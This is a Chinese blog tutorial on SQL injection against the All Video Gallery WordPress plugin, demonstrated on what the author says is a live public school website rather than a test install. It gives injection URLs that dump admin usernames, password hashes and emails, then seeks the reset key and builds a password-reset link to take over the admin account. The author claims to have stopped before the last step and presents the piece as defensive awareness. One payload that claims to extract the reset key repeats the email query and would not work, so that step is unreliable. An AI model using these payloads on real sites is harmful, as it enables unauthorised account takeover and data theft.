WordPress网站 微软skype WordPress平台

前几天微软 skype 的官方博客网站被黑客突破,虽然很快进行了修复,但从网友截屏的图片来看,应该一些抗议美国国安局监听行为和反对微软在软件里隐藏后门的黑客所为。

微软 skype 的官方博客使用的是 WordPress 平台,WordPress 目前是世界上最流行的博客平台,市场占有率高达 70%,这次攻击事件虽然牵涉到 WordPress,但并不能说明 WordPress 平台很脆弱,事实上脆弱的是 WordPress 上多达百万的各种第三方插件,这些插件的质量良莠不齐,如果你使用错误的插件,没有及时更新到最新版本,那你的 WordPress 网站就会成为黑客的目标。

All Video Gallery 就是这样的一个典型例子。早在 2012 年 6 月份就有安全网站公布这个插件的 1.1 版有严重的安全漏洞,但我今天还是很轻松的使用谷歌搜到了仍然使用这个有漏洞的插件的网站。本文就是要以这个网站为靶子,给大家实战讲解黑客是如何利用 sql 注入技术攻破一个网站的。

WordPress网站 微软skype WordPress平台

这个网站看起来像是印度或巴基斯坦的某个公立学校的网站。我不想在这里透露这个网站的真实地址,如果你也想实战一下,可以自己架设一个 WordPress 网站,安装上这个有安全漏洞的插件。如果你真的有兴趣想看看这个网站、非恶意的,请关注我的微薄 @外刊 IT 评论,和我私信联系。

SQL 注入的基本原理

sql 注入成因主要是对页面参数没有进行非法字符校验导致,比如说一个订单页面要显示某个客户的所有订单列表,这个页面的地址可能是 http://xxx.com/list.php?customID=3,我们推理,这样页面的后台处理的 sql 应该是这样的:

select * form custom_order where custom_id = {$_GET['customID']}

按正常情况下,这里的接收的参数 {$_GET['customID']} 的值应该是传入的值 3,这样页面就能正确的把所有客户 ID 等于 3 的订单信息显示到页面上。但是,如果这个参数被人恶意改成了如下形式:

http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

按这样的参数拼装成的 sql 就成了这样:

select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

这样注入恶意 sql 后,订单列表页显示的就不是订单信息了,而是数据库中用户的名称和密码,或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名,管理员邮箱地址,通过邮箱重置管理员密码,登录超级管理员后台。

All Video Gallery 插件的漏洞简介

安装了 All Video Gallery 插件的 WordPress 博客里会有这样的一个地址:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11

访问这个页面会显示一些配置信息,问题就出在 pid 这个参数上,程序后台显然没有严格检查这个参数,我们将利用这个参数进行 sql 注入。

WordPress 是一个开源的平台,我们很容易弄清楚用户表的表名是 wp_users,存放用户名,密码,邮件地址的字段分别是 user_login,user_pass,user_email,我们下面将要把用户信息表注入进去。

获取超级管理员用户名

为了获取用户表中的用户名,我们注入的 sql 是这样的:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

WordPress网站 微软skype WordPress平台

获取超级管理员邮件地址

我们可以直接获取用户的密码,但很显然,密码都是加密的,无法使用,我们这里使用另外一种思路,先获取用户的邮件地址,然后使用这个邮件重置用户的密码。

要获取邮件地址,我们需要将上面的 sql 中的字段名改成 user_email:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

WordPress网站 微软skype WordPress平台

重置管理员密码

WordPress 的后台登陆地址是 http://xxx.com/wp-login.php,这个地址是可以公共访问的,我们进入这个页面后,点击 Lost your password? 链接,输入上面获取的管理员邮件。

WordPress网站 微软skype WordPress平台

这样做了之后,WordPress 会向这个邮件地址发送一封含有激活码的密码重置地址。我们无法登陆这个邮箱获取这个地址,但我们可以使用上面同样的方法获取这个激活码,自己拼装出密码重置地址。存放激活码的字段是 user_activation_key,我们的 sql 注入地址改成下面这样:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1 union select 1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

WordPress网站 微软skype WordPress平台

有了激活码,我们就可以拼装出装置密码的地址了:

http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username

利用这个地址进入重置密码页面:

WordPress网站 微软skype WordPress平台

总结

我们的黑客行动到此基本上是大功告成,但事实上我并没有去执行最后一步。本文的目的不是要告诉人们如何进行黑客攻击,而是要提醒大家防范安全漏洞,所谓知己知彼,方能百战不殆,程序员应当对基本的黑客攻击方式有一些了解,针对性的在编程时避免造成类似 sql 注入的安全漏洞,构筑更健壮的软件。